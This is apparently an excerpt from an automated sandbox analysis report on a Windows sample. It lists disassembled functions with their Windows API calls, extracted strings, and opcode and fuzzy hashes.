network, xrefs: 0049A969
ramdisk, xrefs: 0049A97F
cdrom, xrefs: 0049A927
unknown, xrefs: 0049A996

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: ed5525bb613458fb95a7e4080db6e9364ac51fa2087a6dab42ee9b80200b12ab
Instruction ID: 3fce7ad971d85a49d1b33a2ad1ecfb0a63079a63df5b7caebdb89859b2a7e5d2
Opcode Fuzzy Hash: ed5525bb613458fb95a7e4080db6e9364ac51fa2087a6dab42ee9b80200b12ab
Instruction Fuzzy Hash: DE51B0711083009BCB14EF15C892A6FBBA5FF94308F10482FF885572A2DB799D19CA9B

Function 00439837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00439862
__swprintf.LIBCMT ref: 004398AC
__i64tow.LIBCMT ref: 0046F5E6

Strings

%.15g, xrefs: 004398A6
0x%p, xrefs: 0046F5C8
False, xrefs: 0046F5AE
True, xrefs: 0046F5A7

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: cdc6a61f11917f701d389cb7045ed11b5e3bd30a28fdf8b8b3ce142b936df537
Instruction ID: 106f7434d101ab25cdda73a18b722dd05ea441c5f996f2bc4741faabbedb7c64
Opcode Fuzzy Hash: cdc6a61f11917f701d389cb7045ed11b5e3bd30a28fdf8b8b3ce142b936df537
Instruction Fuzzy Hash: FF410B71510205AFEB24EF35D841E7673E8FF49304F20446FE98AD7242FA799D068B19

Function 004B7152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004B716A
CreateMenu.USER32 ref: 004B7185
SetMenu.USER32(?,00000000), ref: 004B7194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 004B7221
IsMenu.USER32(?), ref: 004B7237
CreatePopupMenu.USER32 ref: 004B7241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004B726E
DrawMenuBar.USER32 ref: 004B7276

Strings

0, xrefs: 004B7160
F, xrefs: 004B7262

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: aaa36d52bb05538d5b64c08f72229d3e6af93333293e10aade05f70b6effb3d5
Instruction ID: 8e7815a0e7cebc11e547610150b2d2a93e0f740356776be17ed3a0ce42c75b70
Opcode Fuzzy Hash: aaa36d52bb05538d5b64c08f72229d3e6af93333293e10aade05f70b6effb3d5
Instruction Fuzzy Hash: 0A418A74A01205EFDB24DF64D984EDA7BB5FF48340F14016AF906A7361D735A924CFA8

Function 004B74BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 004B755E
CreateCompatibleDC.GDI32(00000000), ref: 004B7565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 004B7578
SelectObject.GDI32(00000000,00000000), ref: 004B7580
GetPixel.GDI32(00000000,00000000,00000000), ref: 004B758B
DeleteDC.GDI32(00000000), ref: 004B7594
GetWindowLongW.USER32(?,000000EC), ref: 004B759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 004B75B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 004B75BE

Strings

static, xrefs: 004B74F6

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 323e0a9092abe90a23d352ba05eb2956fabfcd715aff51e3e0f7cbfd78545d9f
Instruction ID: 7195d54fa75e63269f1ac0a26109b20171f8a86d105de0f6c6198a8f0d25bcd5
Opcode Fuzzy Hash: 323e0a9092abe90a23d352ba05eb2956fabfcd715aff51e3e0f7cbfd78545d9f
Instruction Fuzzy Hash: 4A316E71104214BBDF219F74DC08FDB3B69EF49364F110326FA19961A0C735D825DBA8

Function 00456E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00456E3E

Part of subcall function 00458B28: __getptd_noexit.LIBCMT ref: 00458B28

__gmtime64_s.LIBCMT ref: 00456ED7
__gmtime64_s.LIBCMT ref: 00456F0D
__gmtime64_s.LIBCMT ref: 00456F2A
__allrem.LIBCMT ref: 00456F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00456F9C
__allrem.LIBCMT ref: 00456FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00456FD1
__allrem.LIBCMT ref: 00456FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00457006
__invoke_watson.LIBCMT ref: 00457077

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: a14f19b930f9ac8ef8cebff22dd058a6f423dd34b721c0d4882b950413bb61d3
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: 4F71F672A00716ABD714AE69DC42B5BB3E8AF05729F10423FF914D72C2F778D9088799

Function 00492527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00492542
GetMenuItemInfoW.USER32(004F5890,000000FF,00000000,00000030), ref: 004925A3
SetMenuItemInfoW.USER32(004F5890,00000004,00000000,00000030), ref: 004925D9
Sleep.KERNEL32(000001F4), ref: 004925EB
GetMenuItemCount.USER32(?), ref: 0049262F
GetMenuItemID.USER32(?,00000000), ref: 0049264B
GetMenuItemID.USER32(?,-00000001), ref: 00492675
GetMenuItemID.USER32(?,?), ref: 004926BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00492700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00492714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00492735

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 3b87fc2916457d71b56fea74a0d5a9ac9bd288ee9a3b13301cc912bbbe8c554f
Instruction ID: dbc49e5549135cd2dc4ab98f07eb7c6c0a4fe0bd8ffefd94e20d7a5b2c0f3f7d
Opcode Fuzzy Hash: 3b87fc2916457d71b56fea74a0d5a9ac9bd288ee9a3b13301cc912bbbe8c554f
Instruction Fuzzy Hash: EA618D70900249BFDF21CFA4DE88DAF7FA9EB01344F14017AE841A3251D7B9AD15DB29

Function 004B6F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 004B6FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 004B6FA8
GetWindowLongW.USER32(?,000000F0), ref: 004B6FCC
_memset.LIBCMT ref: 004B6FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004B6FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 004B7067

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 99459b94f0e7f231bfee6111ff60b554e45c5d4db159e4667b85d8079d40af0e
Instruction ID: cf32cd220a9cbfeb1e1bbe0a9ec4565ae1f1eeab2eb4cc3feaaca34f654058dd
Opcode Fuzzy Hash: 99459b94f0e7f231bfee6111ff60b554e45c5d4db159e4667b85d8079d40af0e
Instruction Fuzzy Hash: EA618C71900208AFDB10DFA8CC81EEE77F8EB48704F10016AFA14AB3A1C775AD55CB68

Function 00486B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00486BBF
SafeArrayAllocData.OLEAUT32(?), ref: 00486C18
VariantInit.OLEAUT32(?), ref: 00486C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00486C4A
VariantCopy.OLEAUT32(?,?), ref: 00486C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00486CB1
VariantClear.OLEAUT32(?), ref: 00486CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 00486CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00486CDC
VariantClear.OLEAUT32(?), ref: 00486CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00486CF9

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 56b25182e94226c207c8f672129e532f51597e911a254db144212d617acb63ba
Instruction ID: 89c0c8668f5235e942db031c44b88ff926aa63ec91ee2484d1d3a54a9f8c05a8
Opcode Fuzzy Hash: 56b25182e94226c207c8f672129e532f51597e911a254db144212d617acb63ba
Instruction Fuzzy Hash: 38418171A002199FCF00EFA9DC44DAEBBB9EF18304F01857AE955E7261CB74A949CF94

Function 004A83BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

CoInitialize.OLE32 ref: 004A8403
CoUninitialize.OLE32 ref: 004A840E
CoCreateInstance.OLE32(?,00000000,00000017,004C2BEC,?), ref: 004A846E
IIDFromString.OLE32(?,?), ref: 004A84E1
VariantInit.OLEAUT32(?), ref: 004A857B
VariantClear.OLEAUT32(?), ref: 004A85DC

Strings

Invalid parameter, xrefs: 004A84FA
Failed to create object, xrefs: 004A8479, 004A852F
NULL Pointer assignment, xrefs: 004A84B3

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 38cf6368a69d6c0dc35d5d712b2707096ae5433c1192098cb8b640f8e9333425
Instruction ID: 4e1a14bc059534469697640cb27a371e14510077ae59516e284d1cac5ea876f2
Opcode Fuzzy Hash: 38cf6368a69d6c0dc35d5d712b2707096ae5433c1192098cb8b640f8e9333425
Instruction Fuzzy Hash: C061BD70608312AFC710DF15C848B5BBBE4EF5A754F10091EF9859B291DB78ED48CB9A

Function 004A5732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 004A5793
inet_addr.WSOCK32(?,?,?), ref: 004A57D8
gethostbyname.WSOCK32(?), ref: 004A57E4
IcmpCreateFile.IPHLPAPI ref: 004A57F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 004A5862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 004A5878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 004A58ED
WSACleanup.WSOCK32 ref: 004A58F3

Strings

Ping, xrefs: 004A5816

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 95dfb5c67b6eda7509212e534723f8ba617c83277021071092ede6c0ded868df
Instruction ID: ef55c1f3d3c1ed4add505aba7e95ab319407d137a1e756dd967045335c95c7ca
Opcode Fuzzy Hash: 95dfb5c67b6eda7509212e534723f8ba617c83277021071092ede6c0ded868df
Instruction Fuzzy Hash: 1C51BE316006009FDB10AF25DD85B2AB7E4EF59314F04496EF95ADB2A1DB78EC04CB4A

Function 0049B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0049B4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0049B546
GetLastError.KERNEL32 ref: 0049B550
SetErrorMode.KERNEL32(00000000,READY), ref: 0049B5BD

Strings

READY, xrefs: 0049B596
INVALID, xrefs: 0049B58F
NOTREADY, xrefs: 0049B57C
UNKNOWN, xrefs: 0049B575
READONLY, xrefs: 0049B588

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 966de2861277ab767cf3871a5ba5ff82d5fdbb7d9cf3e8b33d7365eef717f41a
Instruction ID: 441496e829d23f7d4858f60fdda6ec3b7af44fbf606fcad667fd84f9629a35f9
Opcode Fuzzy Hash: 966de2861277ab767cf3871a5ba5ff82d5fdbb7d9cf3e8b33d7365eef717f41a
Instruction Fuzzy Hash: B531A475A00209EFCF00EB69D945AAE7BB4EF48329F11417BF50597291DB789E02CB89

Function 00488F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Part of subcall function 0048AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0048AABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00489014
GetDlgCtrlID.USER32 ref: 0048901F
GetParent.USER32 ref: 0048903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 0048903E
GetDlgCtrlID.USER32(?), ref: 00489047
GetParent.USER32(?), ref: 00489063
SendMessageW.USER32(00000000,?,?,00000111), ref: 00489066

Strings

ListBox, xrefs: 00488FD1
ComboBox, xrefs: 00488F9C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: b04255cbfea6588cf6d0799448f528c8d631083dfd63c6bf770b433af1082181
Instruction ID: ab5b32e2ed83c71e433c5ddda9c81a79fbc61a1e82d471de9583cc77d5f786a6
Opcode Fuzzy Hash: b04255cbfea6588cf6d0799448f528c8d631083dfd63c6bf770b433af1082181
Instruction Fuzzy Hash: BD21D670A00108BBDF05BBA1CC85EFEBB74EF49310F10062BF961972A1DB795819DB28

Function 0048907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Part of subcall function 0048AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0048AABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 004890FD
GetDlgCtrlID.USER32 ref: 00489108
GetParent.USER32 ref: 00489124
SendMessageW.USER32(00000000,?,00000111,?), ref: 00489127
GetDlgCtrlID.USER32(?), ref: 00489130
GetParent.USER32(?), ref: 0048914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 0048914F

Strings

ListBox, xrefs: 004890BC
ComboBox, xrefs: 00489087

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: a59f3515d38f59a70039aad1afd6e1cf908ea9b20e73abf69f2c7bcc0d9ebbb8
Instruction ID: 4827877aeb4097e2f04d8ff510d4ca282f3379f49608db35cfba4bb1d4166000
Opcode Fuzzy Hash: a59f3515d38f59a70039aad1afd6e1cf908ea9b20e73abf69f2c7bcc0d9ebbb8
Instruction Fuzzy Hash: 1A21F574A00108BBDF15BBA5CC89EFEBB74EF48300F54052BB955972A1DB79481ADB28

Function 00489163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 0048916F
GetClassNameW.USER32(00000000,?,00000100), ref: 00489184
_wcscmp.LIBCMT ref: 00489196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00489211

Strings

largeicons, xrefs: 004891A5
smallicons, xrefs: 004891D9
SHELLDLL_DefView, xrefs: 00489190
list, xrefs: 004891F3
details, xrefs: 004891BF

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: ccd08efe1cbeeb0425dc0c62e0051d541029b762dc9c7bc51727f30f2e304f34
Instruction ID: 0ee97c28f86f63f39701a342d2d5fe4a96fefde76c35ce640c92939f30b76d44
Opcode Fuzzy Hash: ccd08efe1cbeeb0425dc0c62e0051d541029b762dc9c7bc51727f30f2e304f34
Instruction Fuzzy Hash: 0F11C476248707BAFA113625EC0BDBB379CAF15731B240867FD00A4092EEA96C565A5C

Function 00497990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00497A6C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 6b9177930767a8ae8cc7c5956e5e49ffaaf02c4e07ec7ccd2f98bf1ac6a452f4
Instruction ID: c90c40b48ffb004aa04212abd5662e22d3a8ed71bd8ede1e22e075831c5eb0e8
Opcode Fuzzy Hash: 6b9177930767a8ae8cc7c5956e5e49ffaaf02c4e07ec7ccd2f98bf1ac6a452f4
Instruction Fuzzy Hash: 28B18C7191420A9FDF00DFA5C885BBEBBB4FF09325F24443AEA41E7241D738A945CB99

Function 004911CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004911F0
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00490268,?,00000001), ref: 00491204
GetWindowThreadProcessId.USER32(00000000), ref: 0049120B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00490268,?,00000001), ref: 0049121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 0049122C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00490268,?,00000001), ref: 00491245
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00490268,?,00000001), ref: 00491257
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00490268,?,00000001), ref: 0049129C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00490268,?,00000001), ref: 004912B1
